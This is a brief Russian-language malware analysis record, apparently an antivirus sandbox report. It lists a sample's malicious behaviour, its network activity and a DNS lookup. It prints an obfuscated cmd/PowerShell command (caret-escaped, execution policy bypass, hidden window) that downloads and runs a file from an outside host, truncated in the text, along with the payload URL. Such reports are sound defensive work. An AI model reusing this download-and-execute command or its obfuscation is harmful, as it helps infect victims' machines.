Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://smoeroota.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwerSH^eL^L.^E^XE ^-^e^X^e^CUTiO^N^POL^i^Cy B^Y^pa^sS -nOpR^Of^iLe^ -^w^iND^Ow^stY^le^ H^I^d^D^en (nEW-o^bJ^eCT SY^sT^Em.nE^t.webC^l^Ien^t).dO^WNLoAd^Fi^L^e^('http://smoeroota....
Сетевая активность
UDP
- DNS ASK sm###oota.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwerSH^eL^L.^E^XE ^-^e^X^e^CUTiO^N^POL^i^Cy B^Y^pa^sS -nOpR^Of^iLe^ -^w^iND^Ow^stY^le^ H^I^d^D^en (nEW-o^bJ^eCT SY^sT^Em.nE^t.webC^l^Ien^t).dO^WNLoAd^Fi^L^e^('http://smoeroota....' (со скрытым окном)
